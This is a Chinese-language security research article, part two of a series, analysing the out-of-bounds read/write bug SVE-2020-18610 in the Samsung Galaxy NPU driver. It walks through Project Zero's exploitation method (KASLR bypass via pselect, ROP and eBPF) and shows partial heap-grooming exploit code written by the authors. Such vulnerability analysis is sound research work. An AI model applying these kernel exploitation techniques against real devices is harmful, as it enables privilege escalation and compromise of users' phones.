深入剖析SVE-2020-18610漏洞(中)

 

关于Samsung Galaxy的NPU漏洞,谷歌安全团队Project Zero曾经专门撰文加以介绍;但是,在本文中,我们将为读者介绍另外一种不同的漏洞利用方法。由于该漏洞本身非常简单,因此,我们将重点放在如何获得AAR/AAW,以及如何绕过Samsung Galaxy的缓解措施(如SELinux和KNOX)方面。我们的测试工作是在Samsung Galaxy S10上完成的,对于Samsung Galaxy S20,这里介绍的方法应该同样有效。

(接上文)

 

ION分配器

ION分配器其实就是一个内存池管理器,在用户空间、内核和协处理器之间分配一些可共享的内存缓冲区。ION分配器的主要用途是分配DMA缓冲区,并与各种硬件组件共享该内存区域。

// drivers/staging/android/uapi/ion.h (Samsung Galaxy kernel source)

enum ion_heap_type {
	ION_HEAP_TYPE_SYSTEM,
	ION_HEAP_TYPE_SYSTEM_CONTIG,
	ION_HEAP_TYPE_CARVEOUT,
	ION_HEAP_TYPE_CHUNK,
	ION_HEAP_TYPE_DMA,
	ION_HEAP_TYPE_CUSTOM, /*
			       * must be last so device specific heaps always
			       * are at the end of this enum
			       */
	ION_HEAP_TYPE_CUSTOM2,
	ION_HEAP_TYPE_HPA = ION_HEAP_TYPE_CUSTOM,
};

...

struct ion_allocation_data {
	__u64 len;
	__u32 heap_id_mask;
	__u32 flags;
	__u32 fd;
	__u32 unused;
};

ION分配器有2个重要的结构体,其中struct ion_allocation_data用于为用户空间ioctl命令分配ION缓冲区,如果分配成功,则设置fd成员;另一个重要的结构体是enum ion_heap_type,用于在初始化阶段创建特定类型的内存池。

用户空间可以通过/dev/ion接口使用ION分配器,具体代码如下所示。

其中,结构体ion_allocation_data中的heap_id_mask成员用于选择我们需要的特定ION内存。

int prepare_ion_buffer(uint64_t size) {
	int kr;
  int ion_fd = open("/dev/ion", O_RDONLY);
  struct ion_allocation_data data;
  memset(&data, 0, sizeof(data));

  data.allocation.len = size;
  data.allocation.heap_id_mask = 1 << 1;
  data.allocation.flags = ION_FLAG_CACHED;
  if ((kr = ioctl(ion_fd, ION_IOC_ALLOC, &data)) < 0) {
      return kr;
  }

  return data.allocation.fd;
}

...

void work() {
  int dma_fd = prepare_ion_buffer(0x1000);
  void *ion_buffer = mmap(NULL, 0x7000, PROT_READ|PROT_WRITE, MAP_SHARED, dma_fd, 0);
}

就我们的NPU来说,分配的ION缓冲区在ION_HEAP_map_kernel中被用来与NPU设备进行同步,同时,通过mmaping data.allocation.fd,该ION缓冲区也会同步到用户空间缓冲区。

 

漏洞分析

该漏洞同时存在于__pilot_parsing_ncp和__second_parsing_ncp函数中。

int __second_parsing_ncp(
	struct npu_session *session,
	struct temp_av **temp_IFM_av, struct temp_av **temp_OFM_av,
	struct temp_av **temp_IMB_av, struct addr_info **WGT_av)
{
	u32 address_vector_offset;
	u32 address_vector_cnt;
	u32 memory_vector_offset;
	u32 memory_vector_cnt;
	...
	struct ncp_header *ncp;
	struct address_vector *av;
	struct memory_vector *mv;
	...
	char *ncp_vaddr;
  ...
	ncp_vaddr = (char *)session->ncp_mem_buf->vaddr;
	ncp = (struct ncp_header *)ncp_vaddr;
	...
	address_vector_offset = ncp->address_vector_offset;
	address_vector_cnt = ncp->address_vector_cnt;
	...
	memory_vector_offset = ncp->memory_vector_offset;
	memory_vector_cnt = ncp->memory_vector_cnt;
	...
	mv = (struct memory_vector *)(ncp_vaddr + memory_vector_offset);
	av = (struct address_vector *)(ncp_vaddr + address_vector_offset);
	...
	for (i = 0; i < memory_vector_cnt; i++) {
		u32 memory_type = (mv + i)->type;
		u32 address_vector_index;
		u32 weight_offset;

		switch (memory_type) {
		case MEMORY_TYPE_IN_FMAP:
			{
				address_vector_index = (mv + i)->address_vector_index;
				if (!EVER_FIND_FM(IFM_cnt, *temp_IFM_av, address_vector_index)) {
					(*temp_IFM_av + (*IFM_cnt))->index = address_vector_index;
					(*temp_IFM_av + (*IFM_cnt))->size = (av + address_vector_index)->size;
					(*temp_IFM_av + (*IFM_cnt))->pixel_format = (mv + i)->pixel_format;
					(*temp_IFM_av + (*IFM_cnt))->width = (mv + i)->width;
					(*temp_IFM_av + (*IFM_cnt))->height = (mv + i)->height;
					(*temp_IFM_av + (*IFM_cnt))->channels = (mv + i)->channels;
          ...

但是,在__second_parsing_ncp函数中出现了非常严重的越界读/写漏洞。正如我们在上一节所说,session->ncp_mem_buf->vaddr存放的是用户的数据。

所以,address_vector_offset,address_vector_cnt,memory_vector_offset和memory_vector_cnt是由我们提供的数据进行初始化的。正如变量名称所示,address_vector_offset和memory_vector_offset是用来计算每个向量内存地址的。

但是,由于这里并没有进行边界检查,因此,我们可以让mv和av指向内核空间中的任意区域,并且通过mv和av,我们可以用边界之外的未知值来填充temp_IFM_av。

 

获取AAR/AAW原语

现在,我们已经能够进行越界读/写了,但如何将其转换为AAR/AAW原语呢?

首先,我们需要知道我们在哪里,以确定我们可以读/写内核中的哪些对象。由于ION缓冲区是通过vmalloc映射到NPU会话的,而这个区域会存在越界漏洞,因此,我们需要知道vmalloc的分配算法,以及通过vmalloc分配的对象是什么。

vmalloc?

在内核中,主要有2个内存分配API,具体如下所示:

  1. kmalloc
  2. vmalloc

实际上,kmalloc和vmalloc的主要区别是物理内存的连续性。kmalloc分配的内存不仅在物理内存空间中是连续的,而且在虚拟内存空间中也是连续的。另一方面,vmalloc将内存分配到几乎连续的内存中,但每一页在物理内存中都是碎片化的。

对于vmalloc来说,它一个非常重要的特性是它可以分配守护页(guard page)的内存。

// kernel/fork.c
static unsigned long *alloc_thread_stack_node(struct task_struct *tsk, int node)
{
#ifdef CONFIG_VMAP_STACK
	void *stack;
	...
	stack = __vmalloc_node_range(THREAD_SIZE, THREAD_ALIGN,
				     VMALLOC_START, VMALLOC_END,
				     THREADINFO_GFP,
				     PAGE_KERNEL,
				     0, node, __builtin_return_address(0));
  ...

由于在ARM64中THREAD_SIZE是(1 << 14),所以每个内核线程栈的大小为4K。但每个内核线程栈都有类似下面的前/后保护页,以防止内核出现溢出漏洞。

所以,当我们在今年年初测试这个漏洞的时候,我们意识到,必须通过对堆进行塑型来利用这个漏洞。如果我们能像下面那样成功地对堆进行塑型,保护页对我们来说就不是障碍了,因为我们获得了强大的越界读写能力!

Google Project Zero的方法

如上所述,要成功地利用这个漏洞,我们需要像上面那样塑造堆。P0使用了一堆binder文件描述符和uesr线程来塑造堆。详细的方法和代码,大家可以在P0的文章中找到。

 

越界加法

他们在__second_parsing_ncp函数中直接使用了越界读/写。

在MEMORY_TYPE_WMASK的情况下,他们可以让(av + address_vector_index)->m_addr指向vmap-ed缓冲区的界外地址。所以,他们可以通过(av + address_vector_index)->m_addr = weight_offset + ncp_daddr;语句在ION缓冲区之任意的地址进行越界读/写。

int __second_parsing_ncp(
	struct npu_session *session,
	struct temp_av **temp_IFM_av, struct temp_av **temp_OFM_av,
	struct temp_av **temp_IMB_av, struct addr_info **WGT_av)
{
  		...
	    struct address_vector *av;
	    ...
	    address_vector_offset = ncp->address_vector_offset; /* u32 */
	    ...
	    av = (struct address_vector *)(ncp_vaddr + address_vector_offset);
	    ...
	    case MEMORY_TYPE_WMASK:
	    {
	        // update address vector, m_addr with ncp_alloc_daddr + offset
	        address_vector_index = (mv + i)->address_vector_index;
	        weight_offset = (av + address_vector_index)->m_addr;
	        if (weight_offset > (u32)session->ncp_mem_buf->size) {
	            ret = -EINVAL;
	            ...
	            goto p_err;
	        }
	        (av + address_vector_index)->m_addr = weight_offset + ncp_daddr;
	        ....

当然,由于他们的越界加法原语仅适用于ncp_daddr,他们需要设法控制ncp_daddr来获取一些想要的值。因为ncp_daddr是ION缓冲区的设备地址,所以,他们需要把ION缓冲区放到特定的位置,并且还要有特定的大小。他们通过大量的测试,使用类型编号为5的ION堆来解决了这个问题,这种堆通常会从低到高分配设备地址。

 

绕过KASLR

他们选择通过pselect()系统调用来利用内核空间的copy_to_user()。在pselect()系统调用中,目标线程任务将在执行copy_to_user()之前被阻塞,因此,在主exploit线程中,他们修改了copy_to_user()的参数size。

int core_sys_select(int n, fd_set __user *inp, fd_set __user *outp,
			   fd_set __user *exp, struct timespec64 *end_time)
{
	...
	ret = do_select(n, &fds, end_time);
	...
	if (set_fd_set(n, inp, fds.res_in) ||
	    set_fd_set(n, outp, fds.res_out) ||
	    set_fd_set(n, exp, fds.res_ex))
    ...

在这部分代码最有意思的是,即使n来自寄存器,当do_select被阻塞时,n也必定被溢出到堆栈。所以,如果溢出的n被越界写漏洞所修改,相应的字节数就会被复制到用户空间。

static inline unsigned long __must_check
set_fd_set(unsigned long nr, void __user *ufdset, unsigned long *fdset)
{
	if (ufdset)
		return __copy_to_user(ufdset, fdset, FDS_BYTES(nr));
	return 0;
}

虽然在__copy_to_user()中进行了某些优化和安全检查,但他们成功地得到了未初始化的内核堆栈内容。

 

劫持控制流

通过控制栈内容实现ROP是非常复杂的一个任务。简单的说,他们为此还使用了pselect系统调用,因为当do_select()函数被poll_schedule_timeout()函数阻塞时,他们可以通过越界原语来修改n的值。所以,当解除阻塞后,for循环会在fds栈帧上运行,并且栈内容将被覆盖。

static int do_select(int n, fd_set_bits *fds, struct timespec64 *end_time)
{
...
    retval = 0;
    for (;;) {
...
        inp = fds->in; outp = fds->out; exp = fds->ex;
        rinp = fds->res_in; routp = fds->res_out; rexp = fds->res_ex;
	//
        for (i = 0; i < n; ++rinp, ++routp, ++rexp) {
...
            in = *inp++; out = *outp++; ex = *exp++;
            all_bits = in | out | ex;
            if (all_bits == 0) {
                i += BITS_PER_LONG;
                continue;
            }
	//
            for (j = 0, bit = 1; j < BITS_PER_LONG; ++j, ++i, bit <<= 1) {
                struct fd f;
                if (i >= n)
                    break;
                if (!(bit & all_bits))
                    continue;
                f = fdget(i);
                if (f.file) {
...
                    if (f_op->poll) {
...
                        mask = (*f_op->poll)(f.file, wait);
                    }
                    fdput(f);
                    if ((mask & POLLIN_SET) && (in & bit)) {
                        res_in |= bit;
                        retval++;
...
                    }
...
                }
            }
            if (res_in)
                *rinp = res_in;
            if (res_out)
                *routp = res_out;
            if (res_ex)
                *rexp = res_ex;
            cond_resched();
        }
...
        if (retval || timed_out || signal_pending(current))
            break;
...
        if (!poll_schedule_timeout(&table, TASK_INTERRUPTIBLE,
                       to, slack))
            timed_out = 1;
    }
...
    return retval;
}

在内核中找到ROP后,他们进一步使用了eBPF系统,因为如果我们可以将X1寄存器的任意值传递给__bpf_prog_run(),我们就可以通过执行一连串的eBPF指令,来对任意的地址进行读写操作,并调用内核函数。

我们使用的方法

我们也像P0一样塑造了堆,但是没有使用binder的fd和用户线程,而是使用了fork()系统调用,因为它也调用了内核例程中的vmalloc。由于我们是在Samsung Galaxy S10 SM-973N上开发的exploit,所以,我们能得到的所有信息,都来自adb bugreport命令。

...
  
atomic_int *wait_count;

int parent_pipe[2];
int child_pipe[2];
int trig_pipe[2];

void *read_sleep_func(void *arg){
    atomic_fetch_add(wait_count, 1);
    syscall(__NR_read, trig_pipe[0], 0x41414141, 0x13371337, 0x42424242, 0x43434343);

    return NULL;
}

...
  
int main(int argc, char *argv[]) {
  	...
    pipe(parent_pipe);
    pipe(child_pipe);
    pipe(trig_pipe);
  	...
    *wait_count = 0;
    int par_pid = 0;
    if (!(par_pid = fork())) {
        for (int i = 0; i < 0x2000; i++) {
            int pid = 0;
            if (!(pid = fork())){
                read_sleep_func(NULL);
                return 0;
            }
        }
        return 0;
    }
  	...
    if(leak(0xeec8) != 0x41414141){
        write(trig_pipe[1], "A", 1); // child process kill
        for (int i = ion_fd; i < 0x3ff; i++) {
            close(i);
        }
        munmap(ncp_page, 0x7000);
        goto retry;
    }
  	...

通过一种非常启发式的方法,即检查内核崩溃是否发生,我们最终可以将子内核堆栈放置在ION缓冲区之后。

 

小结

关于Samsung Galaxy的NPU漏洞,谷歌安全团队Project Zero曾经专门撰文加以介绍;但是,在本文中,我们将为读者介绍另外一种不同的漏洞利用方法。由于该漏洞本身非常简单,因此,我们将重点放在如何获得AAR/AAW,以及如何绕过Samsung Galaxy的缓解措施(如SELinux和KNOX)方面。我们的测试工作是在Samsung Galaxy S10上完成的,对于Samsung Galaxy S20,这里介绍的方法应该同样有效。

(未完待续)

(完)